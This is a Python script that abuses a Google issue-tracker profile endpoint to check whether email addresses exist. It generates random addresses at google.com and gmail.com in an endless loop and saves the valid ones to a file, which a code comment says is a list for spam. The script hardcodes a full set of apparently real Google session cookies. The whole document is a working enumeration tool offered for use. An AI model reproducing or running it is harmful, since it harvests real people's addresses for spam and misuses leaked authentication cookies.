#!/usr/bin/env python # Author: Guillermo Cespedes # pip install requests http barnum import requests import http.cookies import json from barnum import gen_data def checkGoogleAccount(usernames, raw_google_cookie): simple_cookie = http.cookies.SimpleCookie(raw_google_cookie) cookie_jar = requests.cookies.RequestsCookieJar() cookie_jar.update(simple_cookie) response = requests.get("https://issuetracker.google.com/action/user_profiles?usernames="+usernames, cookies=cookie_jar) strJsonResponse = response.content.decode("utf-8").replace(")]}'", "") #print(jsonResponse) jsonResponse = json.loads(strJsonResponse) dataKey = jsonResponse.keys() if len(dataKey) == 0: print('\033[91m' + usernames + " account does not exist" + '\033[0m') else: file = open('mails.txt', 'a') for key in dataKey: # Save in list for spam print('\033[92m' + key + " account exist" + '\033[0m') print(jsonResponse) file.write(usernames+'\n') file.close() print("\n") def gen_email(domain): name = gen_data.create_name() user_choices = ["%s.%s" % (name[0], name[1]), "%s" % name[0], "%s.%s" % (name[0][:1], name[1]), "%s%s" %(gen_data.random.choice(gen_data.noun_list)+gen_data.random.choice(gen_data.noun_list), gen_data.random.randint(0,9999))] return ("%s@%s" % (gen_data.random.choice(user_choices), domain)) ############# print("Check Google Account") # A cookie from any Google user is required. You do not have to have any special permission. raw_google_cookie = 'NID=144=BknFEY3tVxJzloCZXXld_QPQhNhc5q6JtBZpD8_1px_WvelcfLRpkP3tkOXZ9nsuC9XRxSOR5RzPO0LE57S9hMfHMVTWD8c8NGow3xTBMqCLPeJgmpmI3k4TlxOb4HtRUSQqC4sYkdgl-MCtJVxAMV_JBeXeNwZqzU4O7dr3PQy_7pbRk5xA2asHPxrawuIgvVkjNHba9qd7H11t7rbCeqjMnAp5JGpIIGo-JBHHB8aPLdW1u9UgQWwq3mgU76WuQyW206W6km8wAg; SID=pgYvN_NfMu6LKJUXJCYNTpdV_dfzJaDlkaJ9VYDT6Fr1guT8lKeivVkMJZBSvRCyWqdngw.; HSID=AgRNhnAeetrX-NV-v; SSID=AkNKjNZ6Hr-nFMJJY; APISID=q12e9suhUg3zU-aS/AwCl0_ShLd3Hxsumb; SAPISID=UdOYzLuaQQHzzvye/AS_5uOeg562NqWnI_; OSID=pgYvN9Waz_zjf8WvJfqmBe90vAVHiexa096fgTnNDPqCGzjebz4Gk7ocOAu7xqFFGSXtVQ.; SIDCC=ABtHo-Fv7i_e4As1W18XsNOhrwWbsmHEoVD51cGRbY1D3dVw3KHwRl8ToAMlA5e4bRt0I3mVnw; OGP=-5061451:; 1P_JAR=2018-10-29-22' while True: test_mail_google = gen_email('google.com') checkGoogleAccount(test_mail_google, raw_google_cookie) test_mail_gmail = gen_email('gmail.com') checkGoogleAccount(test_mail_gmail, raw_google_cookie)